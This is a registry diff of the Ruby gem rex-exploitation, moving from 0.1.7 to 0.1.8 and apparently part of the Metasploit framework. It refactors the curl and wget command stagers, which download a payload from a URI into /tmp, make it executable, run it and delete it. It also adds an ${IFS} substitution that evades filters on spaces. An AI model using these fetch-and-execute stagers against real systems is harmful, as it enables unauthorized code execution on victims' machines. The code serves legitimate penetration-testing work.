rex-exploitation 0.1.7 → 0.1.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: a278a592a33384281c661b167d343a70bdefb42f
4
- data.tar.gz: ad75fa0960a0df1c1ba1cc02f1625897f743a846
3
+ metadata.gz: 5ff8931f96f0a7c2dff501bfeeebbddd006507c9
4
+ data.tar.gz: 0a4b77913a6a10408cda458d91a76f1eaca9c41e
5
5
  SHA512:
6
- metadata.gz: efd50974655d355761bd0ea5a362f8e5dd8b976972f69df551c81cf963c79cb9b3d4f40b40a8c277beb30238ea2080238b0ceca2a66e54650eca2c8f04fe03ef
7
- data.tar.gz: b02158b54940126c38b0394d6c73679fefbfa5034e215b0388e5862cbdc8ebbd5ca676fb6af7f9be3e2abe953dd6ce99d6a5658af95f7ebbb989d148ff8c6f92
6
+ metadata.gz: 07fc38f827fe008b6a8bf9d27137072a8e62d0c95965d3a278b71aa5113dfbe115ce853ca07ad7a41eed3b0b2920d7d410a69cab32d209dde175ba41800db812
7
+ data.tar.gz: ce65a1bb5821a09785d1309776c7c722bddda7286bd373352e61b504b9ae8544cb997b0dfc5afff6d5997d1d5662ca0811ad8000ea2b46f7d5dd2a5d7d38cb68
Binary file
data.tar.gz.sig CHANGED
Binary file
@@ -6,26 +6,47 @@ class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase
6
6
  true
7
7
  end
8
8
 
9
- def compress_commands(cmds, opts)
9
+ def generate(opts = {})
10
10
  if opts[:payload_uri].nil?
11
11
  raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
12
12
  end
13
13
 
14
14
  opts[:temp] ||= '/tmp'
15
- payload_file = Rex::Text.rand_text_alpha(8)
16
- payload_path = "#{opts[:temp]}/#{payload_file}"
15
+ opts[:file] ||= Rex::Text.rand_text_alpha(8)
16
+ @payload_path = "#{opts[:temp]}/#{opts[:file]}"
17
+
18
+ super
19
+ end
20
+
21
+ def generate_cmds_payload(opts)
22
+ cmds = []
17
23
 
18
24
  if opts[:ssl]
19
- cmds << "curl -ko #{payload_path} #{opts[:payload_uri]}"
25
+ cmds << "curl -ko #{@payload_path} #{opts[:payload_uri]}"
20
26
  else
21
- cmds << "curl -o #{payload_path} #{opts[:payload_uri]}"
27
+ cmds << "curl -o #{@payload_path} #{opts[:payload_uri]}"
22
28
  end
23
29
 
24
- cmds << "chmod +x #{payload_path}"
25
- cmds << payload_path
26
- cmds << "rm -f #{payload_path}" unless opts[:nodelete]
30
+ cmds
31
+ end
32
+
33
+ def generate_cmds_decoder(opts)
34
+ cmds = []
27
35
 
36
+ cmds << "chmod +x #{@payload_path}"
37
+ cmds << @payload_path
38
+ cmds << "rm -f #{@payload_path}" unless opts[:nodelete]
39
+
40
+ cmds
41
+ end
42
+
43
+ def compress_commands(cmds, opts)
44
+ cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
28
45
  super
29
46
  end
30
47
 
48
+ def cmd_concat_operator
49
+ ';'
50
+ end
51
+
31
52
  end
@@ -6,27 +6,48 @@ class Rex::Exploitation::CmdStagerWget < Rex::Exploitation::CmdStagerBase
6
6
  true
7
7
  end
8
8
 
9
- def compress_commands(cmds, opts)
9
+ def generate(opts = {})
10
10
  if opts[:payload_uri].nil?
11
11
  raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
12
12
  end
13
13
 
14
14
  opts[:temp] ||= '/tmp'
15
- payload_file = Rex::Text.rand_text_alpha(8)
16
- payload_path = "#{opts[:temp]}/#{payload_file}"
17
- no_check_cert = '--no-check-certificate'
15
+ opts[:file] ||= Rex::Text.rand_text_alpha(8)
16
+ @payload_path = "#{opts[:temp]}/#{opts[:file]}"
17
+
18
+ super
19
+ end
20
+
21
+ def generate_cmds_payload(opts)
22
+ cmds = []
23
+ ncc = '--no-check-certificate'
18
24
 
19
25
  if opts[:ssl]
20
- cmds << "wget -O #{payload_path} #{no_check_cert} #{opts[:payload_uri]}"
26
+ cmds << "wget -O #{@payload_path} #{ncc} #{opts[:payload_uri]}"
21
27
  else
22
- cmds << "wget -O #{payload_path} #{opts[:payload_uri]}"
28
+ cmds << "wget -O #{@payload_path} #{opts[:payload_uri]}"
23
29
  end
24
30
 
25
- cmds << "chmod +x #{payload_path}"
26
- cmds << payload_path
27
- cmds << "rm -f #{payload_path}" unless opts[:nodelete]
31
+ cmds
32
+ end
33
+
34
+ def generate_cmds_decoder(opts)
35
+ cmds = []
28
36
 
37
+ cmds << "chmod +x #{@payload_path}"
38
+ cmds << @payload_path
39
+ cmds << "rm -f #{@payload_path}" unless opts[:nodelete]
40
+
41
+ cmds
42
+ end
43
+
44
+ def compress_commands(cmds, opts)
45
+ cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
29
46
  super
30
47
  end
31
48
 
49
+ def cmd_concat_operator
50
+ ';'
51
+ end
52
+
32
53
  end
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Exploitation
3
- VERSION = "0.1.7"
3
+ VERSION = "0.1.8"
4
4
  end
5
5
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-exploitation
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.7
4
+ version: 0.1.8
5
5
  platform: ruby
6
6
  authors:
7
7
  - David Maloney
@@ -88,7 +88,7 @@ cert_chain:
88
88
  G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
89
89
  8mVuTXnyJOKRJA==
90
90
  -----END CERTIFICATE-----
91
- date: 2016-12-30 00:00:00.000000000 Z
91
+ date: 2017-01-03 00:00:00.000000000 Z
92
92
  dependencies:
93
93
  - !ruby/object:Gem::Dependency
94
94
  name: bundler
metadata.gz.sig CHANGED
@@ -1,2 +1,3 @@
1
- �}�+�2hy���)k֣܃�
2
- Q.9�������22���,�C�w�3
1
+ �Q>�T������V��c�|�v5.������T*��\,��Z9_�-�ܲ���_k*bod�Ł�����;Ig��<BH��I�����
2
+ 8�7bO
3
+ |���JFhSKUv��Y��1��)y>�'�~OHM�U��ػPx �'����~�V�衩#�L�g�~Ͽ󍇣 Ss�E�v�t�ײ�A.BRg�I%���&���7:Z�p�H �����y��J�l���I�f����'��Q0���R;�y<�